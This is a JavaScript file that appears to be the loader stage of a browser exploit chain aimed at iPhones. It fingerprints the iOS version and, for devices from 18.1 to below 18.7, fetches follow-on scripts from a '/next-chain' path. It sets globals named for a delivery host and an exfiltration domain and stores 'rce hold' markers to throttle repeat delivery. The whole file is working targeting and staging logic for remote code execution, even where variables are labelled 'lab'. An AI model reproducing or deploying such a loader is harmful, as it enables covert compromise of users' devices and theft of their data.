(function () {
  var DS_BASE = '/next-chain';
  var HOLD_MS = 10 * 60 * 1000;
  var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];

  function parseIosVersion() {
    var ua = navigator.userAgent || '';
    var m = /iPhone OS ([0-9_]+)/.exec(ua);
    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
    if (!m) {
      m = /Version\/(\d+)\.(\d+)/.exec(ua);
      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
    }
    return m[1].split('_').map(function (p) {
      return parseInt(p, 10);
    });
  }

  function cmpVer(a, b) {
    for (var i = 0; i < 3; i++) {
      var ai = (a && a[i]) || 0;
      var bi = (b && b[i]) || 0;
      if (ai < bi) return -1;
      if (ai > bi) return 1;
    }
    return 0;
  }

  function persistChannelCode(code) {
    code = String(code || '').trim().slice(0, 64);
    if (!code) return '';
    try {
      window.__LAB_CHANNEL_CODE__ = code;
      window.__CORUNA_CHANNEL__ = code;
    } catch (e0) {}
    try {
      sessionStorage.setItem('lab_channel_code', code);
    } catch (e1) {}
    try {
      localStorage.setItem('lab_channel_code', code);
    } catch (e2) {}
    return code;
  }

  function channelCode() {
    try {
      var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
      if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
    } catch (eP) {}
    return '';
  }

  function dsUrl(path) {
    var origin = '';
    try {
      if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
    } catch (e) {}
    return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
  }

  function loadScript(src, onload, attempt) {
    attempt = attempt || 0;
    var s = document.createElement('script');
    s.async = false;
    s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
    s.onload = function () { if (onload) onload(); };
    s.onerror = function () {
      if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
    };
    (document.body || document.documentElement).appendChild(s);
  }

  function loadScripts(urls) {
    var i = 0;
    function next() {
      if (i >= urls.length) return;
      loadScript(urls[i++], next);
    }
    next();
  }

  function holdFresh() {
    var now = Date.now();
    for (var i = 0; i < HOLD_KEYS.length; i++) {
      var key = HOLD_KEYS[i];
      try {
        var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
        if (ls && now - ls <= HOLD_MS) return true;
      } catch (e0) {}
      try {
        var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
        if (ss && now - ss <= HOLD_MS) return true;
      } catch (e1) {}
    }
    return false;
  }

  function markHold() {
    var ts = String(Date.now());
    try {
      localStorage.setItem('__ds_rce_hold', ts);
      localStorage.setItem('__ds_chain_hold', ts);
    } catch (e2) {}
    try {
      sessionStorage.setItem('__ds_rce_hold', ts);
      sessionStorage.setItem('__ds_chain_hold', ts);
    } catch (e3) {}
  }

  function loadDs(code) {
    if (holdFresh()) return;
    markHold();
    persistChannelCode(code);
    try {
      window.__LAB_DELIVERY_HOST__ = dsUrl('');
      if (!window.__LAB_EXFIL_DOMAIN__) {
        window.__LAB_EXFIL_DOMAIN__ = location.hostname || '';
      }
    } catch (eH) {}
    loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]);
  }

  var ios = parseIosVersion();
  var code = channelCode();
  if (!ios || cmpVer(ios, [18, 1]) < 0) {
    loadScript('index.js');
    return;
  }
  if (cmpVer(ios, [18, 7]) < 0) {
    loadDs(code);
  }
})();